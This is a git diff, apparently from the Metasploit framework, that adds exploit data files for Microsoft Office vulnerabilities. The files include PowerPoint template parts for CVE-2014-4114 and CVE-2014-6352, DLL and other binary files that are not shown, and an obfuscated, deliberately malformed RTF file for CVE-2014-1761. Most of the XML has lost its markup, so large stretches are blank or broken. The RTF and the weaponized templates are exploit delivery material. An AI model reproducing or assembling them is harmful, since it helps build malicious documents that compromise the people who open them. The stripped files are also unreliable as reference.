file mode 100755 index 0000000000..0aacb7fae3 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml new file mode 100755 index 0000000000..8cdf983666 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml @@ -0,0 +1,505 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Click to edit Master title style + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Click to edit Master text styles + + + + + + + Second level + + + + + + + Third level + + + + + + + Fourth level + + + + + + + Fifth level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10/16/2014 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ‹#› + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels new file mode 100755 index 0000000000..102dac0c9b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml b/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml new file mode 100755 index 0000000000..70a0d21af4 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml @@ -0,0 +1,425 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Example + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Example + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml b/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml new file mode 100755 index 0000000000..ecd5f7a019 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml b/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml new file mode 100755 index 0000000000..1f0f3c1072 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml b/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml new file mode 100755 index 0000000000..c78970ba8b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4404/key_exploit b/data/exploits/CVE-2014-4404/key_exploit new file mode 100755 index 0000000000..41c08abbe8 Binary files /dev/null and b/data/exploits/CVE-2014-4404/key_exploit differ diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/[Content_Types].xml b/data/exploits/CVE-2014-6352/template_run_as_admin/[Content_Types].xml new file mode 100755 index 0000000000..f35276fe52 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/_rels/.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/_rels/.rels new file mode 100755 index 0000000000..7100d4b140 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/app.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/app.xml new file mode 100755 index 0000000000..07343b6ed9 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/app.xml @@ -0,0 +1,2 @@ + +372Microsoft Office PowerPointOn-screen Show (4:3)21000falseTheme1Embedded OLE Servers1Slide Titles1Office ThemePackager Shell ObjectExamplefalsefalsefalse14.0000 \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/core.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/core.xml new file mode 100755 index 0000000000..459a8fcf5c --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/core.xml @@ -0,0 +1,2 @@ + +ExampleWindows User92014-08-06T07:56:10Z2014-11-12T06:36:10Z \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/thumbnail.jpeg b/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/thumbnail.jpeg new file mode 100755 index 0000000000..c8eab23be6 Binary files /dev/null and b/data/exploits/CVE-2014-6352/template_run_as_admin/docProps/thumbnail.jpeg differ diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/_rels/presentation.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/_rels/presentation.xml.rels new file mode 100755 index 0000000000..7c20d9d211 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/_rels/presentation.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/drawings/_rels/vmlDrawing1.vml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/drawings/_rels/vmlDrawing1.vml.rels new file mode 100755 index 0000000000..f4997f5635 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/drawings/_rels/vmlDrawing1.vml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/drawings/vmlDrawing1.vml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/drawings/vmlDrawing1.vml new file mode 100755 index 0000000000..0eddc5e510 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/drawings/vmlDrawing1.vml @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/media/image1.wmf b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/media/image1.wmf new file mode 100755 index 0000000000..b3bb5b267d Binary files /dev/null and b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/media/image1.wmf differ diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/presProps.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/presProps.xml new file mode 100755 index 0000000000..5bdee5f19a --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/presProps.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/presentation.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/presentation.xml new file mode 100755 index 0000000000..fbd9609f50 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/presentation.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout1.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout1.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout1.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout10.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout10.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout10.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout11.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout11.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout11.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout2.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout2.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout2.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout3.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout3.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout3.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout4.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout4.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout4.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout5.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout5.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout5.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout6.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout6.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout6.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout7.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout7.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout7.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout8.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout8.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout8.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout9.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout9.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/_rels/slideLayout9.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout1.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout1.xml new file mode 100755 index 0000000000..7eceb2fb28 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout1.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master subtitle style11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout10.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout10.xml new file mode 100755 index 0000000000..c66c858dd6 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout10.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout11.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout11.xml new file mode 100755 index 0000000000..59966d7d92 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout11.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout2.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout2.xml new file mode 100755 index 0000000000..f4d0d72750 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout2.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout3.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout3.xml new file mode 100755 index 0000000000..b13d8c6559 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout3.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text styles11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout4.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout4.xml new file mode 100755 index 0000000000..9088e3f76e --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout4.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text stylesSecond levelThird levelFourth levelFifth level11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout5.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout5.xml new file mode 100755 index 0000000000..dba15f74fb --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout5.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text stylesClick to edit Master text stylesSecond levelThird levelFourth levelFifth level11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout6.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout6.xml new file mode 100755 index 0000000000..7f549a0480 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout6.xml @@ -0,0 +1,2 @@ + +Click to edit Master title style11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout7.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout7.xml new file mode 100755 index 0000000000..4bb2d51956 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout7.xml @@ -0,0 +1,2 @@ + +11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout8.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout8.xml new file mode 100755 index 0000000000..5189b5791f --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout8.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text styles11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout9.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout9.xml new file mode 100755 index 0000000000..923dcd343e --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideLayouts/slideLayout9.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text styles11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideMasters/_rels/slideMaster1.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideMasters/_rels/slideMaster1.xml.rels new file mode 100755 index 0000000000..6a191ab986 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideMasters/_rels/slideMaster1.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideMasters/slideMaster1.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideMasters/slideMaster1.xml new file mode 100755 index 0000000000..60def160d1 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slideMasters/slideMaster1.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level11/12/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slides/_rels/slide1.xml.rels b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slides/_rels/slide1.xml.rels new file mode 100755 index 0000000000..c1937b38ec --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slides/_rels/slide1.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slides/slide1.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slides/slide1.xml new file mode 100755 index 0000000000..8dbbce1549 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/slides/slide1.xml @@ -0,0 +1,2 @@ + +ExampleExamplestyle.visibilitystyle.visibility diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/tableStyles.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/tableStyles.xml new file mode 100755 index 0000000000..ecd5f7a019 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/tableStyles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/theme/theme1.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/theme/theme1.xml new file mode 100755 index 0000000000..1f0f3c1072 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/viewProps.xml b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/viewProps.xml new file mode 100755 index 0000000000..f79eedf918 --- /dev/null +++ b/data/exploits/CVE-2014-6352/template_run_as_admin/ppt/viewProps.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2015-0016/cve-2015-0016.dll b/data/exploits/CVE-2015-0016/cve-2015-0016.dll new file mode 100755 index 0000000000..aa66055e6d Binary files /dev/null and b/data/exploits/CVE-2015-0016/cve-2015-0016.dll differ diff --git a/data/exploits/capture/http/forms/extractforms.rb b/data/exploits/capture/http/forms/extractforms.rb index 68d64581cc..f734949a5a 100755 --- a/data/exploits/capture/http/forms/extractforms.rb +++ b/data/exploits/capture/http/forms/extractforms.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -# Copyright (C) 2008 Metasploit LLC +# Copyright (C) 2008 Rapid7, Inc. # # This script extracts the forms from the main page of each diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb index 98a6e3400a..76f0c00533 100755 --- a/data/exploits/capture/http/forms/grabforms.rb +++ b/data/exploits/capture/http/forms/grabforms.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -# Copyright (C) 2008 Metasploit LLC +# Copyright (C) 2008 Rapid7, Inc. # # This script extracts the forms from the main page of each diff --git a/data/exploits/cve-2013-1300/schlamperei.x86.dll b/data/exploits/cve-2013-1300/schlamperei.x86.dll new file mode 100644 index 0000000000..9b43f9843d Binary files /dev/null and b/data/exploits/cve-2013-1300/schlamperei.x86.dll differ diff --git a/data/exploits/cve-2014-1761.rtf b/data/exploits/cve-2014-1761.rtf new file mode 100755 index 0000000000..ff8bb04e9c --- /dev/null +++ b/data/exploits/cve-2014-1761.rtf @@ -0,0 +1,183 @@ +{\rt{{{\{\info{\author ismail - [2010{\n{\info{\author ismail - [2010]}ofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}]}info{\revtim\yr{\creatim\yr2014\{\info{\author ismail - [2010]}mo3\dy8\hr3\min9}2014\m{\revt{\*\company home}im\yr2014\mo3\dy8\hr3\min9}{\info{{\revtim\yr2014\mo3\dy8\hr3\min9}\author ismail - [201{\crea{{\revtim\yr2014\mo3\dy8\hr3\min9}\info{\author ismail - [2010]}tim\yr2014\mo3\dy8\hr3\min9}0]}o3\dy8\hr3\min9}{\aut{\nofcha{\info{\author ismail - [2010]}rsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3{\creatim\yr2014\mo3\dy8\hr3\min9}\dy8\hr3\min9}\* +sidtbl +{\creatim\yr2014\mo3\dy8\hr3\min9}sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}hor ismail - [2010]}\revtim{\info{\author ismail - [20{\info{\author ismail - [2010]}10]}\yr2014\mo3\dy8\hr3\min9}{\revt{\inf{\c{\*\{\nofcharsw{\nofcharsws69}{\op{\c{\*\company home}reatim\yr2014\mo3\dy8{\creatim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}erator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}s69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}company home}reatim\yr2014\mo3\dy8\hr3\min9}o{\author ismail - [201{\nofcharsws69}{\operator is{{\revtim\yr2014\mo3\dy8\hr3\min9}\*\company home}mail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}0]}im\yr2014\m{\info{\author ism{\creatim\yr2014\mo3\dy8\hr3\min9}ai{\revtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}o3\dy8\hr3\min9}{\*\company home}\i{{{\crea{\nofcharsws69}{\operator ismai{\creatim{\nofcharsws69}{\o{\*\company home}{\revtim\yr2014\mo3\dy8\hr3\min9}perator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014{\*\company home}\mo3\dy8\hr3\min9}l - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}tim{\nofcharsws{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}69}{\operator ismail - [2010]}{\* +sidtbl{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;} +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014\mo3\dy8{\revtim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}\{{\creatim\yr2014\mo3\dy8\hr3\min9}\cr{\creati{\*\company home}m{\*\company home}\yr2{\creatim\yr2014\mo3\dy8\hr3\min9}0{\revtim\yr2014\mo3\dy8\hr3\min9}14\mo3\dy8\hr3\min9}eatim{\*\company home{\creatim\yr2014\mo3\dy8\hr3\min9}}\yr2014\mo3\dy8\hr3\min9{\*\compa{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ny home}}revtim\yr20{\nof{\cr{\creatim\yr2014\mo3\dy8\hr3\min9}eatim\yr2014\mo3\dy8\hr3\min9}charsws69}{\ope{{\creatim\yr2014\mo3\dy8\hr3\min9}\*\company home}rator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\revtim\yr2014\mo3\dy8\hr3\min9}14\{\creatim\yr2014\mo3\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}dy8\hr3\min9}mo3\dy8\hr{\info{\auth{\info{\author ismail - {\*\company home}[2010]}or ismail - [2010]}3\min9}{\*\company{\info{\author ismail - [2010]} home}\*\company home}nfo{\*\company home}{\author{\info{\auth{\info{\author ismail - [2010]}or ismail - [2010]} ismail - [2010]}{\r{{\*\company home}\revt{\n{\nofcharsws69}{\operator ismail - [2010]}{\* +si{\revtim\yr2014\mo3\dy8\hr3\min9}dt{\info{\author ismail - [2010]}bl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr20{{{\r{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}\nofcharsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3\dy8\hr3\min9}\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\info{\a{\revtim\yr2014\mo3\dy8\hr3\min9}uthor isma{\creatim\yr2014\mo3\dy8{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\hr3\min9}il - [2010]}14\mo3\dy8\hr3\{\*\company home}min9}evtim\yr{\no{\revtim\yr2014{\*\company home}\mo3\dy8\hr3\min9}fcharsws69}{\operator ismail - [2010]}{\* +sidtbl +{\*\company home}s{\revtim\yr2014\mo3\dy8\hr3\min9}id8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}2014\mo3\dy8\{{\creatim\yr201{\*\company home}4\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 